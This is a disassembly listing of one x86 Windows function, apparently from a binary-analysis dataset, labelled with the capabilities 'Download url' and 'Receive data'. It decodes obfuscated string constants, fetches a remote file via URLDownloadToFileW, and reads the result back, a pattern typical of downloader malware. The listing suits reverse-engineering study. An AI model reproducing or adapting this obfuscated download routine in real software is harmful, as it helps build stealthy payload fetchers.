Function at 0x405b80
Capabilities:
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x4488a3
push eax
mov dword fs:[0], esp
sub esp, 0x1c0
push ebx
push esi
push edi
mov ebx, ecx
call fcn.004015f0
mov ecx, eax
test ecx, ecx
je 0x4061d4
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x48], eax
mov dword [ebp - 4], 0
call fcn.004015f0
mov ecx, eax
test ecx, ecx
je 0x4061de
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x18], eax
push str.ZnJybnE4LS1uYV9ubixxcm1wYy1kX110Y3BxZ21sLG5mbj1lc2diOyN1cSRjbGJddDsjdXEkbG1hX2FmYzsjYg
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 1
call fcn.00403560
test al, al
jne 0x405c02
push 0x58
push str.ZnJybnE4LS1uYV9ubixxcm1wYy1kX110Y3BxZ21sLG5mbj1lc2diOyN1cSRjbGJddDsjdXEkbG1hX2FmYzsjYg
lea ecx, [ebp - 0x18]
call fcn.004039e0
mov byte [ebp - 4], 2
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
push dword [0x45dba0]
mov eax, dword [ebp - 0x18]
push 0x45d9a0
push ecx
add eax, 0xfffffff0
mov esi, esp
mov dword [ebp - 0x2c], esi
mov ecx, eax
mov dword [ebp - 0x2c], eax
call fcn.004037f0
add eax, 0x10
lea ecx, [ebp - 0x14]
mov dword [esi], eax
call fcn.00402190
add esp, 4
mov byte [ebp - 4], 3
push dword [eax]
lea eax, [ebp - 0x48]
push eax
call fcn.0040ac10
mov byte [ebp - 4], 2
or edi, 0xffffffff
mov edx, dword [ebp - 0x14]
add esp, 0x14
add edx, 0xfffffff0
mov eax, edi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x405c71
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
call fcn.004015f0
mov ecx, eax
test ecx, ecx
je 0x4061e8
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x1c], eax
push str.Sl9xclRjcHFnbWw
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 4
call fcn.00403560
test al, al
jne 0x405caf
push 0x10
push str.Sl9xclRjcHFnbWw
lea ecx, [ebp - 0x1c]
call fcn.004039e0
mov byte [ebp - 4], 5
mov eax, dword [ebp - 0x1c]
push ecx
add eax, 0xfffffff0
mov esi, esp
mov dword [ebp - 0x28], esi
mov ecx, eax
mov dword [ebp - 0x28], eax
call fcn.004037f0
add eax, 0x10
lea ecx, [ebp - 0x64]
mov dword [esi], eax
call fcn.00402190
add esp, 4
push eax
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 6
call fcn.00409d00
add esp, 4
mov byte [ebp - 4], 8
mov eax, edi
mov edx, dword [ebp - 0x64]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x405d07
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov esi, dword [ebp - 0x48]
push 0
push 0
push dword [ebp - 0x24]
push esi
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileW]
test eax, eax
je 0x405e63
call fcn.004015f0
mov ecx, eax
test ecx, ecx
je 0x4061f2
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x14], eax
push 0x454828
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 9
call fcn.00403560
test al, al
jne 0x405d60
push 0x10
push 0x454828
lea ecx, [ebp - 0x14]
call fcn.004039e0
mov byte [ebp - 4], 0xa
call fcn.004015f0
mov ecx, eax
test ecx, ecx
je 0x4061fc
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x20], eax
push str.al9xcl10XWJqXWNwcG1w
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 0xb
call fcn.00403560
test al, al
jne 0x405da2
push 0x14
push str.al9xcl10XWJqXWNwcG1w
lea ecx, [ebp - 0x20]
call fcn.004039e0
push ecx
mov byte [ebp - 4], 0xc
mov ecx, esp
mov dword [ebp - 0x6c], esp
push 0x453b2f
call fcn.00402d60
push ecx
mov byte [ebp - 4], 0xd
mov ebx, esp
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x70], esp
add eax, 0xfffffff0
push ecx
mov edi, esp
mov dword [ebp - 0x68], eax
mov ecx, eax
mov dword [ebp - 0x10], edi
call fcn.004037f0
add eax, 0x10
mov ecx, ebx
mov dword [edi], eax
call fcn.00402190
mov byte [ebp - 4], 0xe
mov ebx, esp
mov eax, dword [ebp - 0x14]
push ecx
add eax, 0xfffffff0
mov edi, esp
mov dword [ebp - 0x10], edi
mov ecx, eax
mov dword [ebp - 0x10], eax
call fcn.004037f0
add eax, 0x10
mov ecx, ebx
mov dword [edi], eax
call fcn.00402190
add esp, 4
mov byte [ebp - 4], 0xc
call fcn.004068f0
mov edx, dword [ebp - 0x68]
or edi, 0xffffffff
add esp, 0xc
mov dword [0x45d990], 1
mov byte [ebp - 4], 0xa
mov eax, edi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x405e41
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x10]
mov eax, edi
mov byte [ebp - 4], 8
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x405e5c
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
xor bl, bl
jmp 0x406151
sub esp, 0xc
lea ecx, [ebp - 0x140]
push dword [ebp - 0x24]
call fcn.004099a0
xor eax, eax
mov ecx, 0xf
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], ecx
mov byte [ebp - 0x44], al
mov byte [ebp - 4], 0x10
cmp dword [ebp - 0xe4], eax
je 0x405ee5
lea edx, [ebp - 0x44]
lea ecx, [ebp - 0x140]
call fcn.0040ad50
lea ecx, [ebp - 0x130]
call fcn.0040a670
test eax, eax
jne 0x405ee2
mov eax, dword [ebp - 0x140]
lea ecx, [ebp - 0x140]
push 0
add ecx, dword [eax + 4]
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.00404cb0
mov ecx, dword [ebp - 0x30]
mov edx, dword [ebp - 0x44]
lea edi, [ebp - 0x44]
cmp ecx, 0x10
jb 0x405ef2
mov edi, edx
mov eax, dword [ebp - 0x34]
add eax, edi
lea edi, [ebp - 0x44]
cmp ecx, 0x10
jb 0x405f01
mov edi, edx
push ecx
push eax
push edi
lea ecx, [ebp - 0x88]
call fcn.0040adf0
push eax
mov ecx, ebx
call fcn.00409ee0
mov ecx, dword [ebp - 0x74]
cmp ecx, 8
jb 0x405f54
mov edx, dword [ebp - 0x88]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x405f4a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x406206
push ecx
push edx
call fcn.00423a36
add esp, 8
push 3
push dword [0x45dba0]
lea eax, [ebp - 0x1c4]
lea ecx, [ebp - 0x1c8]
mov dword [ebp - 0x1c8], eax
call fcn.0040a2b0
mov byte [ebp - 4], 0x11
xor eax, eax
mov edx, dword [ebp - 0x1c8]
mov ecx, edx
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x54], eax
lea edi, [ecx + 1]
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x4c], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x405f96
sub ecx, edi
push ecx
push edx
lea ecx, [ebp - 0x60]
call fcn.00403be0
cmp dword [ebp - 0x30], 0x10
lea edx, [ebp - 0x44]
jb 0x405fb5
mov edx, dword [ebp - 0x44]
cmp dword [ebp - 0x4c], 0x10
lea ecx, [ebp - 0x60]
jb 0x405fc1
mov ecx, dword [ebp - 0x60]
mov eax, dword [ebp - 0x34]
mov edi, eax
mov ebx, dword [ebp - 0x50]
cmp eax, ebx
jb 0x405fcf
mov edi, ebx
sub edi, 4
jb 0x405fe5
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x405fea
add ecx, 4
add edx, 4
sub edi, 4
jae 0x405fd4
cmp edi, 0xfffffffc
je 0x40601e
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x406017
cmp edi, 0xfffffffd
je 0x40601e
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x406017
cmp edi, 0xfffffffe
je 0x40601e
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x406017
cmp edi, 0xffffffff
je 0x40601e
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
je 0x40601e
sbb ebx, ebx
or ebx, 1
jmp 0x406020
xor ebx, ebx
test ebx, ebx
jne 0x406037
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x50]
cmp eax, ecx
jbe 0x406033
or ebx, 0xffffffff
jmp 0x406037
sbb ebx, ebx
neg ebx
mov eax, dword [ebp - 0x4c]
shr ebx, 0x1f
xor bl, 1
cmp eax, 0x10
jb 0x406073
mov edx, dword [ebp - 0x60]
lea ecx, [eax + 1]
mov eax, edx
cmp ecx, 0x1000
jb 0x406069
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40620b
push ecx
push edx
call fcn.00423a36
add esp, 8
mov eax, dword [ebp - 0x1c8]
lea ecx, [ebp - 0x1c4]
cmp eax, ecx
je 0x40608c
push eax
call fcn.00428964
add esp, 4
mov byte [ebp - 4], 0xf
mov eax, dword [ebp - 0x30]
cmp eax, 0x10
jb 0x4060c6
mov edx, dword [ebp - 0x44]
lea ecx, [eax + 1]
mov eax, edx
cmp ecx, 0x1000
jb 0x4060bc
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40620b
push ecx
push edx
call fcn.00423a36
add esp, 8
mov eax, dword [ebp - 0x140]
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x30], 0xf
mov byte [ebp - 0x44], 0
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ifstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x140]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x70]
mov dword [ebp + ecx - 0x144], eax
lea ecx, [ebp - 0x130]
call fcn.00409650
mov eax, dword [ebp - 0x140]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_istream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x140]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x18]
mov dword [ebp + ecx - 0x144], eax
lea eax, [ebp - 0xd0]
mov byte [ebp - 4], 0x12
push eax
mov dword [ebp - 0xd0], vtable.std::ios_base.0
call fcn.0040f834
add esp, 4
or edi, 0xffffffff
mov byte [ebp - 4], 5
mov eax, edi
mov edx, dword [ebp - 0x24]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40616f
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x28]
mov eax, edi
mov byte [ebp - 4], 2
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40618a
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x2c]
mov eax, edi
mov byte [ebp - 4], 0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x4061a5
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov dword [ebp - 4], 0xffffffff
add esi, 0xfffffff0
lock xadd dword [esi + 0xc], edi
dec edi
test edi, edi
jg 0x4061c1
mov ecx, dword [esi]
push esi
mov edx, dword [ecx]
call dword [edx + 4]
mov ecx, dword [ebp - 0xc]
mov al, bl
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
push 0x80004005
call fcn.004013c0
push 0x80004005
call fcn.004013c0
push 0x80004005
call fcn.004013c0
push 0x80004005
call fcn.004013c0
push 0x80004005
call fcn.004013c0
call fcn.00428603
call fcn.00428603
int3